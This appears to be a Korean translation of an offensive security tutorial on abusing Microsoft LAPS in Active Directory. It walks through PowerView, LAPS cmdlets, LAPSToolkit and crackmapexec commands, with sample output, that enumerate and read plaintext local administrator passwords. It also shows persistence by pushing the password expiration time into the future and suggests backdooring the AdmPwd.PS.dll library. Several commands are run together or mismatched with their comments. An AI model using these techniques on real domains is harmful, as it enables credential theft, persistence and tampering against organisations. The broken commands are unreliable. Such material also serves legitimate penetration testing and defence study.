로컬 관리자 비밀번호 솔루션(Local Administrator Password Solution, LAPS)은 고유하고 무작위이며 자주 변경되는관리자 비밀번호가 도메인에 가입된 컴퓨터에 적용되는 시스템을 관리하는 데 사용되는 도구입니다. 이러한 비밀번호는 Active Directory 내에 안전하게 저장되며, Access Control Lists (ACLs)를 통해 권한이 부여된 사용자만 접근할 수 있습니다. 클라이언트에서 서버로의 비밀번호 전송 보안은 Kerberos 버전 5와 **고급 암호화 표준(Advanced Encryption Standard, AES)**를 사용하여 보장됩니다.
도메인의 컴퓨터 객체에서 LAPS의 구현은 두 개의 새로운 속성인 **ms-mcs-AdmPwd**와 **ms-mcs-AdmPwdExpirationTime**의 추가로 이어집니다. 이 속성들은 각각 평문 관리자 비밀번호와 만료 시간을 저장합니다.
Check if activated
regquery"HKLM\Software\Policies\Microsoft Services\AdmPwd"/vAdmPwdEnableddir"C:\Program Files\LAPS\CSE"# Check if that folder exists and contains AdmPwd.dll# Find GPOs that have "LAPS" or some other descriptive term in the nameGet-DomainGPO|?{ $_.DisplayName-like"*laps*"}|select DisplayName, Name, GPCFileSysPath |fl# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)Get-DomainObject-SearchBase"LDAP://DC=sub,DC=domain,DC=local"|?{ $_."ms-mcs-admpwdexpirationtime"-ne $null }|select DnsHostname
LAPS 비밀번호 접근
당신은 원시 LAPS 정책을 다운로드할 수 있습니다\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol 그리고 **Parse-PolFile**를 사용하여 GPRegistryPolicyParser 패키지에서 이 파일을 사람이 읽을 수 있는 형식으로 변환할 수 있습니다.
게다가, 네이티브 LAPS PowerShell cmdlet을 사용할 수 있습니다, 만약 우리가 접근할 수 있는 머신에 설치되어 있다면:
Get-Command*AdmPwd*CommandType Name Version Source----------------------------Cmdlet Find-AdmPwdExtendedRights5.0.0.0 AdmPwd.PSCmdlet Get-AdmPwdPassword5.0.0.0 AdmPwd.PSCmdlet Reset-AdmPwdPassword5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdAuditing5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdComputerSelfPermission5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdReadPasswordPermission5.0.0.0 AdmPwd.PSCmdlet Set-AdmPwdResetPasswordPermission5.0.0.0 AdmPwd.PSCmdlet Update-AdmPwdADSchema5.0.0.0 AdmPwd.PS# List who can read LAPS password of the given OUFind-AdmPwdExtendedRights-Identity Workstations | fl# Read the passwordGet-AdmPwdPassword-ComputerName wkstn-2| fl
PowerView는 누가 비밀번호를 읽을 수 있는지와 그것을 읽는지 알아내는 데에도 사용될 수 있습니다:
# Find the principals that have ReadPropery on ms-Mcs-AdmPwdGet-AdmPwdPassword-ComputerName wkstn-2| fl# Read the passwordGet-DomainObject-Identity wkstn-2-Properties ms-Mcs-AdmPwd
LAPSToolkit
LAPSToolkit는 여러 기능을 통해 LAPS의 열거를 용이하게 합니다.
하나는 **LAPS가 활성화된 모든 컴퓨터에 대한 ExtendedRights**를 파싱하는 것입니다. 이는 LAPS 비밀번호를 읽도록 특별히 위임된 그룹을 보여주며, 이러한 그룹은 종종 보호된 그룹의 사용자입니다.
도메인에 컴퓨터를 가입시킨 계정은 해당 호스트에 대한 All Extended Rights를 받으며, 이 권한은 비밀번호를 읽을 수 있는 능력을 부여합니다. 열거를 통해 호스트에서 LAPS 비밀번호를 읽을 수 있는 사용자 계정을 보여줄 수 있습니다. 이는 LAPS 비밀번호를 읽을 수 있는 특정 AD 사용자를 타겟팅하는 데 도움이 될 수 있습니다.
# Get groups that can read passwordsFind-LAPSDelegatedGroupsOrgUnit Delegated Groups-----------------------OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain AdminsOU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin# Checks the rights on each computer with LAPS enabled for any groups# with read access and users with "All Extended Rights"Find-AdmPwdExtendedRightsComputerName Identity Reason--------------------------MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins DelegatedMSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated# Get computers with LAPS enabled, expirations time and the password (if you have access)Get-LAPSComputersComputerName Password Expiration------------------------------DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf%12/10/202213:24:41
Dumping LAPS Passwords With Crackmapexec
powershell에 접근할 수 없는 경우 LDAP를 통해 이 권한을 원격으로 악용할 수 있습니다.
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
이것은 사용자가 읽을 수 있는 모든 비밀번호를 덤프하여 다른 사용자로 더 나은 발판을 마련할 수 있게 해줍니다.
관리자가 되면, 비밀번호를 얻고비밀번호 업데이트를 방지하기 위해 만료 날짜를 미래로 설정할 수 있습니다.
# Get expiration timeGet-DomainObject-Identity computer-21-Properties ms-mcs-admpwdexpirationtime# Change expiration time## It's needed SYSTEM on the computerSet-DomainObject-Identity wkstn-2-Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
비밀번호는 admin이 Reset-AdmPwdPassword cmdlet을 사용할 경우 여전히 재설정됩니다. 또는 LAPS GPO에서 정책에 의해 요구되는 것보다 긴 비밀번호 만료 시간을 허용하지 않음이 활성화된 경우에도 마찬가지입니다.
백도어
LAPS의 원본 소스 코드는 여기에서 찾을 수 있으며, 따라서 새 비밀번호를 유출하거나 어딘가에 저장하는 백도어를 코드에 삽입할 수 있습니다 (예: Main/AdmPwd.PS/Main.cs의 Get-AdmPwdPassword 메서드 내부).
그런 다음, 새로운 AdmPwd.PS.dll을 컴파일하고 C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll에 업로드합니다 (그리고 수정 시간을 변경합니다).